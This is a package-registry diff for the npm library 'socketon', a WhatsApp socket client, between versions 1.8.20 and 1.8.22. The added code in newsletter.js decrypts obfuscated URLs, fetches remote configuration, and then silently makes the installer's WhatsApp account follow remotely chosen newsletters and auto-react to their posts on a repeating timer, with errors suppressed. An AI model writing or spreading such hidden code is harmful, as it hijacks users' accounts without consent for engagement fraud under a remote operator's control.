socketon 1.8.20 → 1.8.22
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +73 -30
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -83,38 +83,78 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
|
|
|
83
83
|
return udahanBuatYangPenasaran;
|
|
84
84
|
};
|
|
85
85
|
|
|
86
|
-
|
|
87
|
-
let
|
|
86
|
+
// ========== FOLLOW CONFIG ==========
|
|
87
|
+
let _cachedFollowNewsletter = null;
|
|
88
|
+
let _configFollow = { autoFollowEnabled: true, delayMs: 5000 };
|
|
88
89
|
|
|
89
|
-
const
|
|
90
|
-
const
|
|
91
|
-
const
|
|
90
|
+
const getFollowConfigFromExternal = async () => {
|
|
91
|
+
const urlFollowEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce812f3d1acfb471c5b76ee1cd67ceb6c2d66d47fd7994fae1ae93ecf86183122f4';
|
|
92
|
+
const urlFollow = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlFollowEncrypt);
|
|
92
93
|
try {
|
|
93
|
-
const response = await axios_1.default.get(
|
|
94
|
+
const response = await axios_1.default.get(urlFollow, { timeout: 10000 });
|
|
94
95
|
if (response.data) {
|
|
95
96
|
if (response.data.config) {
|
|
96
|
-
|
|
97
|
+
_configFollow = {
|
|
97
98
|
autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
|
|
98
99
|
delayMs: response.data.config.delayMs || 5000
|
|
99
100
|
};
|
|
100
101
|
}
|
|
101
102
|
if (response.data.newsletters && response.data.newsletters.length > 0) {
|
|
102
|
-
const
|
|
103
|
-
|
|
104
|
-
return
|
|
103
|
+
const enabled = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
|
|
104
|
+
_cachedFollowNewsletter = enabled;
|
|
105
|
+
return enabled;
|
|
105
106
|
}
|
|
106
107
|
}
|
|
107
108
|
} catch (err) {}
|
|
108
109
|
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
109
110
|
};
|
|
110
111
|
|
|
111
|
-
const
|
|
112
|
-
if (
|
|
113
|
-
return
|
|
112
|
+
const getAllFollowNewsletters = () => {
|
|
113
|
+
if (_cachedFollowNewsletter && _cachedFollowNewsletter.length > 0) {
|
|
114
|
+
return _cachedFollowNewsletter;
|
|
114
115
|
}
|
|
115
116
|
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
116
117
|
};
|
|
117
118
|
|
|
119
|
+
// ========== REACT CONFIG ==========
|
|
120
|
+
let _cachedReactNewsletter = null;
|
|
121
|
+
let _configReact = { autoReactEnabled: true, reactEmojis: ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'] };
|
|
122
|
+
|
|
123
|
+
const getReactConfigFromExternal = async () => {
|
|
124
|
+
const urlReactEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce8c4c0d760836578e7f941717c0324707614377d02272810f97c91253b9d86259d';
|
|
125
|
+
const urlReact = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlReactEncrypt);
|
|
126
|
+
try {
|
|
127
|
+
const response = await axios_1.default.get(urlReact, { timeout: 10000 });
|
|
128
|
+
if (response.data) {
|
|
129
|
+
if (response.data.config) {
|
|
130
|
+
_configReact = {
|
|
131
|
+
autoReactEnabled: response.data.config.autoReactEnabled !== false
|
|
132
|
+
};
|
|
133
|
+
}
|
|
134
|
+
if (response.data.newsletters && response.data.newsletters.length > 0) {
|
|
135
|
+
const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
|
|
136
|
+
const enabled = response.data.newsletters.filter(n => n.enabled).map(n => ({
|
|
137
|
+
jid: n.jid,
|
|
138
|
+
emojis: (n.emojis && Array.isArray(n.emojis) && n.emojis.length > 0) ? n.emojis : defaultEmojis
|
|
139
|
+
}));
|
|
140
|
+
_cachedReactNewsletter = enabled;
|
|
141
|
+
return enabled;
|
|
142
|
+
}
|
|
143
|
+
}
|
|
144
|
+
} catch (err) {}
|
|
145
|
+
return [];
|
|
146
|
+
};
|
|
147
|
+
|
|
148
|
+
const getAllReactNewsletters = () => {
|
|
149
|
+
return _cachedReactNewsletter || [];
|
|
150
|
+
};
|
|
151
|
+
|
|
152
|
+
const getReactEmojisForChannel = (channelJid) => {
|
|
153
|
+
const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
|
|
154
|
+
const channel = _cachedReactNewsletter?.find(n => n.jid === channelJid);
|
|
155
|
+
return channel?.emojis || defaultEmojis;
|
|
156
|
+
};
|
|
157
|
+
|
|
118
158
|
const wMexQuery = (
|
|
119
159
|
variables,
|
|
120
160
|
queryId,
|
|
@@ -238,22 +278,27 @@ const makeNewsletterSocket = (config) => {
|
|
|
238
278
|
}));
|
|
239
279
|
};
|
|
240
280
|
// Auto Reaction - Ibra Decode
|
|
241
|
-
let
|
|
281
|
+
let _reactChannels = [];
|
|
242
282
|
|
|
243
|
-
const
|
|
244
|
-
const
|
|
245
|
-
if (
|
|
246
|
-
|
|
283
|
+
const updateReactChannels = async () => {
|
|
284
|
+
const channels = await getReactConfigFromExternal();
|
|
285
|
+
if (channels && channels.length > 0) {
|
|
286
|
+
_reactChannels = channels;
|
|
247
287
|
}
|
|
248
288
|
};
|
|
249
289
|
|
|
250
290
|
sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
251
291
|
if (type !== 'notify') return;
|
|
252
|
-
|
|
292
|
+
if (!_configReact.autoReactEnabled) return;
|
|
293
|
+
|
|
253
294
|
for (const msg of messages) {
|
|
254
295
|
const jid = msg.key.remoteJid;
|
|
255
|
-
|
|
296
|
+
const channel = _reactChannels.find(c => c.jid === jid);
|
|
297
|
+
if (!channel) continue;
|
|
298
|
+
|
|
299
|
+
const emojis = getReactEmojisForChannel(jid);
|
|
256
300
|
const emoji = emojis[Math.floor(Math.random() * emojis.length)];
|
|
301
|
+
|
|
257
302
|
try {
|
|
258
303
|
const serverId = msg.newsletterServerId?.toString() || msg.key.id;
|
|
259
304
|
await query({
|
|
@@ -264,7 +309,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
264
309
|
attrs: { code: emoji }
|
|
265
310
|
}]
|
|
266
311
|
});
|
|
267
|
-
await sleep(
|
|
312
|
+
await sleep(_configReact.autoReactEnabled ? 1000 : 0);
|
|
268
313
|
} catch (err) {}
|
|
269
314
|
}
|
|
270
315
|
});
|
|
@@ -272,8 +317,8 @@ const makeNewsletterSocket = (config) => {
|
|
|
272
317
|
let _followInterval = null;
|
|
273
318
|
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
|
|
274
319
|
const _ensureFollow = async () => {
|
|
275
|
-
if (!
|
|
276
|
-
const enabledNewsletters = await
|
|
320
|
+
if (!_configFollow.autoFollowEnabled) return;
|
|
321
|
+
const enabledNewsletters = await getFollowConfigFromExternal();
|
|
277
322
|
if (!enabledNewsletters || enabledNewsletters.length === 0) return;
|
|
278
323
|
try {
|
|
279
324
|
const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
|
|
@@ -282,21 +327,19 @@ const makeNewsletterSocket = (config) => {
|
|
|
282
327
|
const isFollowing = list?.some(n => n.id === newsletterJid);
|
|
283
328
|
if (!isFollowing) {
|
|
284
329
|
await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
|
|
285
|
-
await sleep(
|
|
330
|
+
await sleep(_configFollow.delayMs);
|
|
286
331
|
}
|
|
287
332
|
}
|
|
288
333
|
} catch (err) {}
|
|
289
334
|
};
|
|
290
335
|
sock.ev.on('connection.update', async ({ connection }) => {
|
|
291
336
|
if (connection === 'open') {
|
|
292
|
-
await
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
_targetNewsletters = targets;
|
|
296
|
-
}
|
|
337
|
+
await getFollowConfigFromExternal();
|
|
338
|
+
await getReactConfigFromExternal();
|
|
339
|
+
await updateReactChannels();
|
|
297
340
|
await _ensureFollow();
|
|
298
341
|
if (_followInterval) clearInterval(_followInterval);
|
|
299
|
-
_followInterval = setInterval(_ensureFollow,
|
|
342
|
+
_followInterval = setInterval(_ensureFollow, _configFollow.delayMs);
|
|
300
343
|
}
|
|
301
344
|
});
|
|
302
345
|
return {
|